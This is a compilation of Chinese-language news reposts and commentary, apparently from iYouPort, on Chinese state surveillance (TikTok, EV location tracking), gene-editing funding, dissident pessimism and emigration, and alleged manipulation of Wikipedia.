TikTok 矿工还担心新疆维吾尔族人首先发布了这些视频。Jan 说：“这将被视为犯罪，就像揭露国家机密一样。”

去年 8月，中国 TikTok 开始发生不寻常的事。新疆境内的数十名维吾尔人一个接一个地发布静音视频站在亲人的照片前。许多人在哭。

Hidayat 说：“我认为背后有一个策划人 —— 一两个创意者。”那是无言的数字快闪族。人们陷入了困境，没有聚在一起，也不必解释这个概念”。

“但是每一名维吾尔族人都理解这些视频。”

在一个视频中，一个女孩坐在四个人合影的照片前，举起四根手指。她慢慢地握紧拳头。

在中国境外，国际维吾尔族数字侨民迅速动员起来。

他们将这些视频视为对大规模拘留中心的无声起义，并在 Facebook 和 Twitter 上重新发布了这些视频。

Hidayat 将视频收集到一个 thread 中，创建了#WeHearU 标签。新闻媒体很快开始报道这个故事。全世界的维吾尔族和中国观看者被影片的勇气所震撼。

“就是那样。这些视频并没有真正针对任何人。这不是抗议，因为他们无法抗议中国政府。它实际上只是一条消息。”

在无声视频浪潮过后的几天里，Yasin 在 TikTok 上搜索一些张贴了这些视频的维吾尔族用户。

在五彩缤纷的视频应用和嘈杂的杂音中，她什么都没有找到。某些人的帐户已完全消失了。该应用程序告诉她：“您的搜索结果为空，找不到任何相关内容。”〇

How TikTok opened a window into China’s police state

原文

政府监视公民一举一动，公民无动于衷-China - iYouPort

关于中国社会

故事的结尾非常令人心酸……

「图」

「图」

当单俊华买下他的白色特斯拉 Model X 时，他知道这是一辆快速的、漂亮的汽车。但他不知道的是，⚠ 特斯拉正不断向中国政府发送有关其汽车精确位置的信息。

特斯拉不是唯一这么做的。中国当局已经呼吁中国的所有电动汽车制造商制作同样的报告 —— 中国政府已经拥有丰富的监控工具，这一数量仍在持续增加。因为习近平当局加大了对中国公民的监视力度。

⚠ 超过 200 家制造商，包括特斯拉、大众、宝马、戴姆勒、福特、通用汽车、日产、三菱和美国上市的电动汽车初创企业 NIO，都在向中国政府支持的监控中心和数十个其他数据点传输位置信息。美联社发现，一般来说，车主完全不知情。

汽车制造商表示他们“只是遵守当地法律”，这些法律仅适用于替代能源汽车。批评人士说，在中国收集的信息超出了实现国家既定目标所需的信息。它不仅可以用来破坏外国汽车制造商的竞争地位，而且还可以用于广泛的监控 —— 特别是在中国，对个人隐私的保护非常少。

在习近平的领导下，中国发动了一场反对异议的战争，结合大数据和人工智能技术，以创造一种更完善的警务老大哥，能够预测和消除对共产党执政稳定性的任何威胁。

「图」

「图」

上海电动车公共数据采集、监测和研究中心位于嘉定区郊外的一座灰色小楼内。在有自助餐厅的一层楼上，一个整面墙大小的屏幕点缀着密密麻麻的圆点，每个点都代表着沿着上海道路行驶的单一汽车，整体创建一个巨大的实时地图，可以显示全社会日常生活的每一个细节。

随机点击屏幕上任何一个点，就会向上弹出一个窗口，其中包含这辆车的编号、品牌和型号、里程和电池电量等各种详细信息。总而言之，该屏幕展示了上海超过 222,000 辆汽车的数据，其中绝大多数是乘用车。

根据 2016 年发布的国家规范，中国的电动汽车要将汽车传感器的数据传回制造商。从那里开始，汽车制造商向当地监视中心发送至少 61 个数据点。这些数字即将变得更大。尽管去年电动汽车销售仅占总量的 2.6%，但政策制定者表示他们希望到 2025 年新能源汽车占总销售额的 20%。从明年开始，中国的所有汽车制造商都必须达到新的最低生产量。新能源汽车是北京积极努力减少对外国能源依赖的一部分，并将自己置于不断发展的全球产业的最前沿。

中国政府已表现出明确的对跟踪车辆的兴趣。

“政府希望随时了解人们正在做些什么，并以最快的方式做出反应，”人权观察中国高级研究员 Maya Wang 说，“对国家监视没有任何保护。跟踪车辆是中国大规模监视的主要焦点之一”。

「图」

「图」

随着汽车变得越来越多，汽车制造商正在寻求利用建立在数据基础上的新收入来源 —— 麦肯锡估计，到 2030 年这个市场的价值将达到 7,500 亿美元。

中国政府从汽车中获取数据的能力使其学术界和政策制定者比竞争国家更具优势。中国政府倾向于将技术发展视为关键的竞争资源。虽然全球汽车制造商已经从美国、欧洲和日本政府获得了数十亿美元的奖励和补贴，但他们正在向中国政府提供数据，最终为北京的战略利益服务。

日产中国业务负责人 Jose Munoz 表示，在美联社告诉他之前，他并

不知道监控系统存在，但他强调该汽车制造商“依法运营”。在被美联社询问有关数据共享给政府造成的侵犯人权问题和商业冲突的可能性时，Munoz 只是微笑着耸了耸肩。

“在日产，我们非常致力于中国市场，”他说。“我们将其视为拥有最大增长机会的市场。”

额呵，和谷歌的腔调一模一样。

福特、宝马和 NIO 拒绝发表评论。三菱没有回应多个评论请求。

特斯拉拒绝回答具体问题，而是指出购买时购买者签署了隐私政策，其中规定车辆数据可以“在法律要求时与其他第三方共享”，但没有具体提及政府监控中心的存在。

然而，对车主的采访却表明，此类披露基本无效。只有一个车主知道自己的数据被送到了政府手里 —— 他说他知道，因为他是一名电动汽车工程师。

“关注这些东西是没用的”，拥有特斯拉模型S的车主 Min Zeren 说道。“如果你担心这种问题，那么就没法在这个国家生活。”

中国人就是在这种忍耐之下获得了如今的结局。

最后关联我们早前的文章《小心你的汽车变成间谍：如何从联网汽车中删除个人隐私数据？》

原文

新文件表明，中国政府资助了基因编辑婴儿实验 - iYouPort

关于中国社会

贺建奎究竟是不是独狼？有新文件显示他接受了中国当局的资助，是真的吗？

根据STAT获得的文件，中国政府可能已经提供资金用于一个有争议的项目，即去年非常轰动的婴儿基因编辑实验。虽然目前尚不清楚政府官员是否密切关注资金的使用方式，但这些文件与中国科学家贺建奎被作为反叛者的表面叙述相矛盾，后者被认为是单独行动的并反对上层人士的意愿。

早在去年11月，贺建奎在香港的一次会议上宣布，他使用 CRISPR 工具对双胞胎女孩进行了基因编辑，使她们对艾滋病病毒产生更强的抵抗力。国际科学界迅速谴责这些行动，并说这不仅在道德上是错误的，编辑本身也是草率的，可能没有用。当时，中国政府也迅速谴责贺，并开始进行一项调查，官方描绘了一位孤立科学家的形象，称他“无视政府禁令追求个人名利。”

但 STAT 获得的文件显示，他的研究项目可能部分来自他以前的工作场所，即当地的深圳政府和大中华区的科技分支机构。然而，资金可能是以前的项目，而接受采访的其他科学家表示，他有可能假装政府资助的可信度。

STAT 报道说，中国科学部发表声明回应这些文件，声称“没有资助他的人类基因组编辑活动”。

纽约大学的生物伦理学家 Arthur Caplan 说，尽管中国研究人员担心他的实验已经玷污了该国的科学声誉，但这些新文件并不一定意味着中国的信誉再次受到损害。Caplan 认为可能会有一些初步的批准，特别是因为中国根本没有明确禁止基因工程胚胎，这种研究不会引发与美国或其他国家相同研究的道德危险信号，即强大的生命权运动。但从那以后，“中国政府已退出并明确表示他们不想超越这一领域的规

则，”他说。

当然，国际科学界仍在急于弄清楚如何防止这些实验再次发生。中国前卫生部副部长建议，国家应该建立一个监督生物医学实验的组织，例如，世界卫生组织已经成立了一个委员会来研究婴儿基因编辑的指导方针。

Caplan 认为有一些建议可以添加进去。首先，他说，每个听过这种项目的科学家都应该向他们的研究机构和可能的国立卫生研究院报告。其次，这种规模的研究不应该给媒体随意报道，任何公告都需要伴随一篇有数据的论文。

与此同时，关于他和他的职业生涯的下一步以及这对双胞胎的表现将会有很多问题。他还承认编辑了其他胚胎，目前还不清楚这些婴儿何时会出生。中国现在正受到所有关注，但另一个问题是 CRISPR 婴儿可能在哪里出生。法律背景仍然不确定，北海道大学的生物伦理学家石井哲也表示，以色列、俄罗斯和西班牙等国家对基因编辑的政策都很不严格。

原文

无处安放的“精神脱支”梦，“流行”的悖论和自杀式悲观 - iYouPort

关于中国社会

他们是逃离一种文化、生态，一个社会或民族，准确说是在厌倦自己身上的某些特质。你抱着这样的想法是永远也无法真正逃离的，因为你所恨的东西其一部分就在你的血液里。

「图」

「图」

在中文界已流行数年的“精神脱支”一词如今似乎变了味道，就如“假新闻”曾经指向真正的造谣而如今成为抨击政敌的武器、“政治正确”曾经代表道德和正义而如今变成了一种讽刺，“精神脱支”在中国人范围内的理解也偏离了它最初提出时的目的。

综合几位早期主张“精神脱支”的华裔朋友的结论，这个词原本的意思带有：吐狼奶、开拓视野、改变被应试教育植入的思考习惯等积极的主张，如今似乎另一种需求正在压倒上述，那就是：摆脱中国社会和人际关系。

离开中国意味着什么？充分拥抱另一种文化和社会，还是把自己置于真空中、忐忑于无处安放的归属？

曾经被视为全人类智慧结晶的互联网，如今充斥着各种陈词滥调，不论你使用哪种语言，真正能带来新知识和更大眼界的信息都是少之又少。这种状况是如何造成的？如今又该如何更好的获得知识和力量？

悲观主义就如同一场威力无比的自杀式炸弹袭击，且波及面极广，令主张者及其周边完全陷入虚无。就在短短几年前，“中国人不适合民主”这句话还是亲政府人士的口头禅、被异议嘲讽和抨击的对象，然而如今，异议人士们纷纷“认同”了这一观点，他们被悲观主义炸弹摧

毁了，陆续有人退出政治参与。

为什么会这样？

Evans 邀请了四位朋友，一起探讨这些话题。他们来自四个不同的国家，使用三种不同的语言对话，就同一个问题进行探讨。他们是：

欧洲密码学研究者、公民权利活动家：Noël

北美异议人士、无政府主义者：Shaw

亚裔流亡人士、设计师：Duncan

中国时政观察者、老媒体人：郑

「图」

「图」

一、“精神脱支”

Duncan：我已经在这个民主国家拿到了政治避难身份，经历了漫长的充满焦虑的等待折磨，身心疲惫。然而直到现在我才忽然发现，很多东西变得越来越远了，却没有什么能弥补这一大片空白。

Evans：首先恭喜 Duncan 的移民梦如愿。我想我能理解你说的意思，我们曾经在去年发布的《逃离中国》这篇调查中分析过一些华裔海外移民的心态和困境。说实话我很好奇为什么如 Duncan 这样的新移民很难和老移民结盟，华裔难以融入当地社会是普遍现象，但同为华裔却无法联合似乎有点难以解释。

Duncan：我不知道有多少人和我一样，是为了摆脱中国的一切而选择移民的，想必不多。我们这样的人最大的困惑就是，发现在异国他乡遇到的同乡人满身都是“中国味儿”。往往都是属于劣习的所谓中国传统、没逻辑的中国式思考习惯、不讲理的中国式沟通技巧、复杂而微妙的中国式社交关系网，无不令我头疼。那些拿着民主国家护照的人随时都能勾起你的威权主义噩梦。是我很想躲却一直躲不开的东西。

Noël：抱歉我无法理解你的意思。你的话里透露出的一个关键字是“躲／逃”，中国并没有发生内战，大部分中国人离开家乡并非由于生命威胁，就如 Duncan，他们是逃离一种文化、生态，一个社会或

民族，准确说是在厌倦自己身上的某些特质。你抱着这样的想法是永远也无法真正逃离的，因为你所恨的东西其一部分就在你的血液里。

每个国家都有异议人士、都在鄙视自己国家的弊端，我也是，我的国家并不完美，并且近年来每况愈下。全球民主指数普遍下跌你一定了解，我们是其中之一，已经濒临有缺陷的民主。政府在加紧对互联网的控制，要求科技公司配合给情报机构开放可监控的后门，加上传统的腐败、权力关系错综复杂，意识形态之争焦头烂额。所有权力在控制社会方面都是高度共识的，矛头一直指向公民。但这正是为什么我们还站在这里，我们要去改变它。

如果你厌恶的是一个民族整体，在我们的文化里将被质疑种族歧视。

郑：我理解 Duncan 的意思。在我身边也有许多这样的现象，主张民主自由的人们其行动和思考的方式无处不带有共产党的影子，共产党的文化残留，他们既不能真正的离开中国，也无法从精神层面摆脱党文化的影响。他们只是中国共产党的敌人，而不是威权主义的对手。

我曾经组织身边可信的朋友一起练习使用民主的方式来决定一件事，然而很快就在其中发现了独裁者的影子。多年来这个团体不断地更换成员，目前已疲惫不堪。这是个残酷的游戏，当你希望严肃对待关键问题的时候，曾经看起来志同道合的朋友纷纷暴露，常年如此，无法不令人怀疑某些弊端就存在于民族文化中。

而且，很多鄙视“中国性”的中国人，自己并没能摆脱“中国性”，没能塑造出令自己满意的风格，虽然他们知道自己不喜欢什么。结果是只能停留在鄙视层面上，而没有改变任何。从眼界到思考维度，从深度到价值意义，从人格到社会性，几乎全方面都如此。也于是，“中国性”持续稳固，只为了缩在小圈子里享受被簇拥的美意，沾沾自喜。

Shaw：朝鲜人也会逃离自己的国家，但不会仇恨自己的民族。把对一个政权的厌恶转嫁到社会民族和文化上，的确很奇怪。尤其是当你带有这种情绪却什么都不做的时候，你的情绪几乎毫无意义。

当年逃离东德的人也是这样简单的逃离，只留下一片沉默。然而他们继续被称为Ossi(东德佬)，这个歧视性的称呼在柏林墙倒掉后几十年内一直存在着。我厌恶任何一种歧视，但也不会赞同怯懦的逃离，如果你的民族和国家不能根本性改变，你的身份将永远带有起源的劣迹。

其实，你不如行动起来，Duncan，当你身边的人都在抱怨和顺服的

时候，如果你能行动起来，你就和他们真正区别开了。

记住，没有任何一种文化和社会是完美的。

Noël：我会为自己的理想的实现寻找一块适合的领地，冰岛、瑞典、全球互联网自由度最高的地方，去实现我的梦想。移民是为了能更好地继续战斗，而不是躲避和逃跑。

「图」

「图」

二、行动

Evans：我的一位朋友在刘晓波去世后主张行动，他说“这（刘晓波去世）是一个很好的机会”。然而他因为这句话被一群人误解和鄙视，那些他一直认作是战友的人完全不能理解他的意思。这类交流中出现的理解错位在中国非常常见。行动派是稀罕的，如今就连行动的意识都是稀罕的，虚无的空气正加速浓郁，人们调侃，哀叹，习以为常。

近29年来没有任何值得被记录和分析的群体行动，然而当年广场的枪声依旧在压制人们的想象力。

郑：审查越来越严重，就连简单的批评也被扼杀，那些提出意见的人统统被政权视为敌对，当权者在拼命制造反对派。

Evans：昨天中国的突发新闻是共产党修宪，取消主席的任期限制，在中英文消息里都是热门。然而中文消息只有调侃，以及对“换届”的痴迷。如果不能结束一党专政，换届是毫无意义的，对无限任期的批评也同样没有意义。

而且中国舆论绝大多数没能抓住要点。监察机构在新宪中被与行政审判检察机构并列。也就是说，监察机构变成不在现行司法体制框架内、不受其他法律约束的机构，今后不只有共产党员，所有中国人都可以被其无限期“双规“（拘押），可能还不需要什么法律手续，更谈不上律师介入。

我反而羡慕这个话题的热度，如果抵抗暴政的技术技能话题能达到这个话题的一半热度，中国社会就不是现在这个样子了。

Noël：批评者和给政权提意见的人根本算不上反对派，顶多是异议。我们这些人对和政权理论丝毫不感兴趣，不论是批评还是赞美，声讨

还是问责，我们一概不关心，唯一要做的就是想尽一切办法让权力的黑手失去效用。

Cypherpunk 们有句口头禅：“Cypherpunks write code”。这些反抗一切权力暴力的无政府主义行动家们不屑于浪费时间和现实世界中的政客辩论什么规则，他们用行动去创建自己的世界。有了它，你就有了自己的规则。互联网协议就是互联网世界未被公开的立法者，编码就是法律，程序能改变世界。

这个时代所有人都有机会这样做。用强大的密码学对抗权力和暴力，将力量从那些垄断暴力的人手中转换到那些理解数学和安全性设计的反抗者手中。

很多人太过痴迷法律，却忘了基本的道理，道德拥有比法律更高的权威，这就是为什么要赞成在国家法律明显不正义或没有合法的渠道来反抗时，公民有不服从法律的权力。对于“法律”的偏执不仅是一种自我囚禁，更已形成广泛的误解、误导和阻碍。

Duncan：绝大多数中国的异议人士没有技术，知识分子也没有技术，知识严重缺乏，很多idea对他们来说犹如纸上画饼，无法充饥。中国社会的异议陷入口头文学一点也不奇怪。

Shaw：这就太可怕了。当权者一直掌握着先进的科技、把控着知识，但他们自己并不是高手，他们用利益收购民间高手。如果民间的反对派真的有正义感，就应该比那些趋炎附势的家伙技高一筹。然而事实却相反。其原因似乎与 **Duncan** 刚才提到的观点有联系，那就是反抗意识的问题，人们在逃离和隐藏自己的心意，放弃希望，这样下去只能是帮助当权者加速对社会的控制。

只要你想要，一切都不难学。真正的难点在于心意的建立——你究竟想不想？如果你一个人生活又怀疑外卖不卫生，你坚持说自己不会烹调而饿肚子，这是合理的吗？饥饿会告诉你马上去厨房，打开烹调书用心研究。

Evans：去年开始我们一直在着眼于介绍技术和知识，我希望有更多知识分子和技术人士加入进来。

郑：曾经一位欧洲记者指着一则中国当局强行监视社会的消息问我，“中国人对这是什么反应？”我回答“短暂的愤怒”。事实就是如此。想起纽约时报的一则消息，展示了他们在西藏采访时感知到的社会焦虑，对监视社会（Surveillance society）的普遍焦虑。消息有中

文版，然而中文读者对它的回应是“哈哈哈”。我无法肯定一项事业能带动什么，如果它不符合这个社会普遍的行事风格。

「图」

「图」

Noël：Evans 曾经问过我，为何不给中国异议以事实上的支援。我们不做这种事，当我们看不到这个社会有发自内心的主动的反抗时，任何一种介入都是侵略。如果中国社会真的选择了威权，民主宣讲是徒劳无功的。

中国人在美国大使馆官方账号下乞讨关注，在互联网上所有人都看得到，说明至少有人想要改变，他们只是走错了方向，为了摆脱一种权威而选择依赖另一个权威，这不是自由之路。

我不信任行事风格处世哲学这类标签，饥饿是原生态，没人能挡得住欲望。

Evans：我在鼓励人们使用多语种。中国人的外语并不差，英法德美的电视剧和电影翻译得非常快，但一谈到政治，几乎所有人都使用中文，很大程度上限制了传播和海外朋友的参与。

上周 techrights 的一篇文章关注中国的专利申请和保护问题，它指中国的专利被用于民族主义的保护主义。文章中有一句话对我来说很醒目，它写道：“很多相关诉讼案件的新闻报道均由简体字写成，西方媒体无法阅读和跟进报道”。

Duncan：语言不是全部问题所在。在互联网上，使用两种及以上语言的中国人也不少，但他们只是在用非母语表达母语文化、母语中领略的思想、母语中培养的思考方式和价值观，于是多语种并没有变成他们的优势，反而暴露了其母语国家在教育和文化等方面的弊端。

郑：中国社会的自闭不是一朝一夕的问题了，根植于传统的陋习。中国在国际角度上的孤岛生态已经影响到中国人的心态—— 他们的错觉认为自己真的处于孤岛之中、与世界无关，他们不关注人类的时代问题、气候问题、战争威胁、新科技迫使人类面对的另类生存危机… 种种知识和思考对他们来说宛如隔世。哪怕他们自己正处于这一切所带来的无尽的焦虑中。

Shaw：我们能和 Evans 交流顺利，有理由相信，自我封闭并不是华人社会的标准特质，它更像是一种选择。很少有华文媒体和中国活动

家制造我们今天这样的跨文化交流机会，不知道 Noël 那边怎样，我身边几乎没有人了解中国，我们了解伊朗、以色列社会，了解俄罗斯和菲律宾的反对派，能对索马里的乱局中各派系如数家珍，但是不了解中国。语言已经不是障碍了，这种状况持续下去是不合理的。

Noël ：**Duncan** 着眼于弊端，我则会建议挖掘潜力，不去确保成功的可能性，但这样做至少让你摆脱自怨自哀的泥潭。人们在使用“所有人都”这个句式时能举出的例子不超过五十个，甚至不超过五个，所以谨慎使用这个句式，它只会加重你的偏见。

「图」

「图」

三、“流行”的悖论

Duncan：我们曾经都吹嘘过社交媒体对联合的史无前例的支持，但如今社交媒体变成了全球最平庸乏味的地方，老生常谈的话题，包括海外华人异议人士，都在使用老旧的模式、着眼于在中文网络上的自身影响力营销，沉迷于常识的重复和口水，完全无法感知他们的联合价值。

从众在某种程度上已经成为一种热门的生活方式。我很理解人们对共识的追求，它能让我们看起来更加团结。但我不理解为什么要追求眼界、风格、深度和角度的完全一致，如果真的全面一致了那将意味着我们互相之间的作用不存在任何补充和增益，这样的交流是没有意义的。

郑：我已经懒得和人辩论了，他们自己不能理解的东西别人讲出来就认为是错的。尤其是中国的伪知识分子，听他们叨念常识纯属浪费时间。

Noël ：如果你不能通过交流提升自己，任何一种交流都是浪费时间。互联网只是提供了交流的便捷和便宜，并没有义务保证交流质量，你自己的水平有多高，就不难找到和自己一致或者更高的交流对象。关键在于目的是学习，而不是凑热闹。我们在这里所说的大部分也是常识，但如果你能从中获得力量和视野，它就是你所需要的。

常识不一定平庸，但每一种流行都是平庸的，甚至已经发臭。而粉丝经济正是在鼓励平庸。因为它要求人们为了获得被流行而努力。人们忘记了，智慧永远在极小范围内诞生。

Shaw：我喜欢 Evans 的文章中说的，当今的人们必须超越前人，去思考前辈们所不能做到的方式来强化我们的技术性变革。“停留在老生常谈是没有未来的。

“有你这样的想法的人很多”，我最怕听到的就是这句话。这意味着我的观点已经烂大街了，是没有深度的，甚至已经开始过时和错误了。

这个时代对知识分子来说非常尴尬，他们通过知识来谋生的传统模式出现了悖论，因为你想要获得大众认同就无法不顺从大众的浅薄，这完全背离了知识分子的职能。知识分子应该告诉大众他们值得了解却尚未了解的道理，而不是重复他们已知的东西。

意大利作家 Umberto Eco 曾经说过这样的话，一个人杀害了自己的母亲时，如果公众都认为这是罪恶的举动，作为知识分子的我则没必要写文章谴责他，因为那样做无非是简单激发一下大众的同情心；如果大部分公众都认为弑母行为是正确的，并且符合法律程序的话，那倒是值得写上几句自己的看法。

Evans：我们采访 Tim Marlowe 的用意就在这里。我们并不是在鼓励苦行僧式知识分子，而是提醒那些沉迷于名利追求的人们，这个时代还存在其他完全不同的行动方式。

Noël：我知道 Marlowe，他是个行动派。有能力的人都有机会追求用自己的行动成就时尚，但绝不能追求成为流行，流行是腐烂的开始。

郑：粉丝经济让很多人开始变态，为了获得关注不惜造假、夸张、胡言乱语。作为媒体人，我最头疼的一件事就是，中国人的取证意识非常薄弱，他们可以在毫无根据的情况下脱口而出，还绘声绘色。我们和海外媒体交流中经常遇到被对方求证的信息都是假的。包括所谓的学者、海外华人领袖，根本没有对事实的挖掘意识，他们根据自己的偏好、立场的凸显和偏见来信任传闻，这倒是很有政客范儿，统治者和被统治者在中国的后真相政治中，要一拍即合了。

Shaw：每个国家都不缺乏造假者，权力斗争中造假是一种战略。但虚假永远不会赢得最终胜利，只要人民不间断地寻求真相。最可怕莫过于人民和统治者合谋隐瞒真相。

泄密文化已经在近十年内掀起了全球性的政治狂潮，这是调查性新闻之价值的最大化，是民主摆脱数字极权危机的希望。然而这其中却没有中国这个最庞大的威权政体，从哪个角度上讲都是不可思议的。

Duncan：理解的基础是听者与说者具有同等或近似的知识水平、认知层级、心态欲求、立场、思考习惯，否则只有误解和无视。能获得启示的人必须具有足够程度的谦逊、自主学习素养，社交媒体，尤其是中文社交媒体上极少存在。

Noël：这是需要改变的。很高兴你观察到了需要被改变的东西，下一步就是行动。联络那些志同道合的人，掀起一场丢弃名利欲的运动。

「图」

「图」

四：自杀式悲观

郑：我就是被自杀式悲观淹没的人。当你常年感觉不到有人在继续努力的时候，常年看不到反抗方式的创新时，你根本无法保持希望。我钦佩那些孤独的战斗者，但我自己不是。

Duncan：当你拼命移民到自由国家却看到海外的同胞们一样落伍得一塌糊涂时，那种绝望语言都无法描述了。

Noël：我感知到的是一个单枪匹马者的哀叹。如何你有机会联合到哪怕五位同道，你们所考虑的内容就会变成行动策划，而不是悲观。

郑：Noël 你可能真的不懂中国社会，你能看到亲密交流的人们，但每个人的内心都包着一层锡纸。信任度非常低，尤其是当涉及敏感的时候。中国政府的审查为敏感这个词赋予了一个完全不同的意思，而且他们（政府）无处不敏感，这就在很大程度上拉低了人们之间的信任——因为你几乎没机会畅所欲言。

下面这这张图正在中国局域网里热传。我厌恶这种调侃，如果它也能称之为调侃的话。

「图」

「图」

价值观也非常离谱，如果有人对一个勇敢发言的中国人说“注意安全”，那是意味着鼓励自我审查，而在中国，则意味着体贴关爱。是的，我只是意识到了错误，而无力改变。这就是我的悲观。

Noël：只要是人类就具有人类心理的基本特征。当人们诉说互信危机

的时候，内心的至少一半潜意识是对自己无法信任他人的哀叹。发动人们开启自己的信任，就是一场基础性的运动。

你首先应该明白信任和毫无戒备的盲信盲从完全是两个概念，一个好的判断力能在根本上帮你抑制被下套的危险。于是还要强调知识技能。政治事件的复杂程度自古以来只有加强从未减弱，要是认为反对派不会内讧，那就太天真了。但反对派应该有更高明的应对和尝试的勇气，尤其是当政权拼命想要破坏你们之间的信任的时候。

Evans：我们发表过这篇文章《当权者为什么如此猖狂？因为你们互不信任》。

Shaw：我要确定我们不是仅仅为了谴责悲观主义，我们是在想办法突破悲观主义。

Evans：是这样的，Shaw。在中国当下，悲观令整个社会失去了活力，那些释放悲观情绪的人恰恰是曾经被人们信赖为带头人的人，于是这种情绪的感染力非常大。尤其是此后，这些释放源为了证实自己的悲观是正当的，他们开始谴责不信邪的试错者，以前辈的姿态谴责，继而又吓退了年轻人。这是一个连环效应。社会被低迷的情绪所冻结，而不完全是禁令和法律。

Noël：永远不要无视社会的创造力，只有不能进入社会的人才会这样。勇气是社会变革的引擎，尤其是当人们面对政治压力和暴力危机的时候，更需要强调公民社会的能力。

Shaw：从打破信任危机开始，到联合，到公民社会。把传统和前人放在意识中的什么位置完全由你个人掌握，顺从无法强迫，它只是在意识层面强加给你的压制。当前人是明显错误的时候，继续顺从就是错上加错。

非常感谢四位朋友的精彩发言，我们将继续投入对行动者的支持。〇

原文

是谁在操纵维基百科？ - iYouPort

关于中国社会

中国政府可能正有计划地操纵维基百科。调查发现近1600个倾向性编辑跨越20个敏感的政治话题。

「图」

「图」

问 Google 或 Siri：“台湾是什么？”

它们会回答“一个国家，东亚国家”。

但是在今年9月初，它们的回复是：“台湾是中华人民共和国的一个省”。

实际上，许多搜索引擎、数字助理和手机语音助理的信息来源都指向一个地方：维基百科。而维基百科突然发生了变化。

编辑被撤销，但很快又恢复；然后再次被撤销。就该在线百科而言，这已经变成了一场社论式的拔河比赛，导致台湾是什么这个问题的答案在一天之内不断变化。

“今年是非常疯狂的一年，” 台湾维基媒体协会董事会成员 Jamie Lin 说。

“许多台湾维基百科页面遭到攻击。”

编辑之战

任何人都可以在 Wikipedia 上编写或编辑条目，并且在地球上几乎每个国家中，都存在“ Wikipedians”社区来保护和贡献内容。

这是有史以来积累的最大的人类知识收藏，可以免费在线提供给所有人，可以说是数字时代的最大成就。但是，在 Lin 和她的同事们的眼

中，维基百科正受到攻击。

「图」

「图」

Jamie Lin – seen on the left – is one of many Taiwanese Wikipedians concerned about changes being made to the online encylopedia

有关台湾的编辑之战只是维基百科广泛的多语种条目中爆发的所有战争之一。

香港抗议的页面一天之内就发生了65次变化 —— 主要是定义问题。他们是抗议者吗？还是暴徒？

尖阁诸岛的英文条目说它们是“东亚岛屿”，但今年早些时候，其普通话页面已被改为 “中国的固有领土”。

1989年的天安门广场抗议活动的普通话维基百科页面也被更改，将其描述为“平息反革命暴动”的“ 64事件”。

在英语版本中，达赖喇嘛是藏族难民；而普通话页面则标注为中国流亡者。

愤怒的意见分歧一直在 Wikipedia 上发生。但是对 Lin 女士来说，情况稍有不同。

她说：“这是由（中国）政府控制的。太可怕了。”

“社会主义核心价值观”

BBC Click 的调查发现了近1600次倾向性的编辑，跨越22篇带有政治敏感性的文章。

调查无法验证是谁进行了这些编辑，为何进行编辑，或它们是否反映了更广泛的实践；然而，有些迹象表明，这些编辑不是随机的，它们有目的。

来自中国境内的官员和学者都已公开呼吁其政府和公民系统地“纠正”他们所认为的整个维基百科中普遍存在的严重的“反华偏见”。

维基百科上发表了一篇名为《中国外交的机遇与挑战》的论文，并于今年发表在《社会科学杂志》上。

其中，学者 Li-hao Gan 和 Bin-Ting Weng 认为："由于外国媒体的影响，维基百科条目对中国政府有很多偏见"。

他们继续说："我们必须制定有针对性的对外交流策略，这不仅包括重建一组外部交流语话系统，还包括，在**Wiki**平台上培养有影响力的编辑。"

这篇文章以行动号召结束。

作者说，"中国迫切需要鼓励和培训中国网民，使其成为 Wikipedia 平台的舆论领袖和管理者……他们可以坚持社会主义核心价值观，并组成一些核心编辑团队。"

- 《维基百科真的靠谱吗》通过支付金钱给自由职业者、公关公司和维基百科"专家"就可以对某些文章进行修改 ……内容贡献者的行为符合某一方的利益—— 而不是分析消息源的纯粹准确性—— 会扭曲维基百科文章
- 《中国封锁了所有语言版本的维基百科》
- 《如何离线使用维基百科？》

观念转变

另一篇文章是由中国共产党控制的中国国际出版集团的官员 Jie Ding 撰写的。文章辩称："在维基百科关于中国的主要政治言论的内容缺乏系统的整理和维护"。

这篇文章也敦促 "在编辑作品中反映我们[中国]的声音和观点，以客观、真实地反映中国道路和中国思想对其他国家和历史的影响" 的重要性。

香港中文大学助理教授 Lokman Tsui 表示："讲好中国故事" 这个[习近平提出的]概念在过去的两年中获得了极大的关注。"他们[中国领导人]认为，海外对中国的许多看法是一种误解。"

Tsui 认为，随着中国动员其国内的在线控制系统延伸到境外，以应对海外存在的所谓误解，现在的局势正在发生重大转变。

这本身不是新鲜事。自成立以来，维基百科就一直面临破坏性行为的问题。所有人都可以编辑、可以破坏他人的编辑、可以锁定页面，该

网站由机器人和人类编辑共同巡逻。

一些人从一开始就尝试操纵 Wikipedia，而其他人则尽力阻止了这些操纵。

「图」

「图」

Hong Kong’s protests are one topic where there has been a back-and-forth over edits to descriptive words

但是，Lin 所描述的许多活动并非完全是故意破坏。有些行为（例如台湾的主权问题）是要推动一项有争议的主张高于其他主张。还有一些，关于对语言的修剪，尤其是普通话页面的修剪，从政治角度出发，仍然有些微妙。

香港抗议活动应该被视为“反对”中国吗？您应该将社区称为“汉族台湾人”还是“台湾原住民的汉族分支”？

许多激烈的战斗就是在这种语言领域的微妙层面进行的。

协调策略？

攻击通常不是针对 Wikipedia 的内容，而是针对其 Wikipedians 社区。

Lin 说：“有些人告诉我们，他们的个人信息被曝光，只因为他们持有不同的想法。”（也就是 doxing 攻击，在这里看到防御方法）

甚至还有针对台湾维基百科的死亡威胁。在相关的公共 Wikimedia telegram 频道上有人写着：“警察会很喜欢你母亲的法医报告”。

在选举拥有更大权力的维基百科管理员职位的过程中，地缘政治界限也同样清晰可见。

将在线活动按照民族国家划分通常是不可能的，而且这些编辑与中国政府之间也没有直接的经过验证的联系。

Tsui 说：“绝对可以想象，所谓的爱国华人正在编辑这些 Wikipedia 条目。但就此下结论会忽略政府必须操纵这些平台的更大结构的协调性战略。”

「图」

「图」

It has been argued that minor changes to Wikipedia entries can change readers' perceptions

尽管未归因，但这些编辑行为确实是在包括中国在内的许多国家加大了系统性操纵在线平台的尝试的背景下进行的。

这些民族国家已经在 Twitter 和 Facebook 上这么做很久了，世界各地的研究人员都警告说，政府支持的在线宣传战范围不断扩大。

「图」

「图」

https://twitter.com/DonEvansWm/status/1180383760472141824

与几乎所有其他在线平台相比，维基百科是一个诱人的甚至显而易见的目标。

新南威尔士大学数字文化高级讲师 Heather Ford 说："我绝对不会感到惊讶。" 他的研究重点是维基百科的政治编辑。

当然，每个国家都在乎其声誉。

伦敦政治经济学院高级研究员 Shirley Ze Yu 说："中国是世界第二大经济体，中国正在做的事是任何其他处于这种地位的国家都会寻求的东西。"

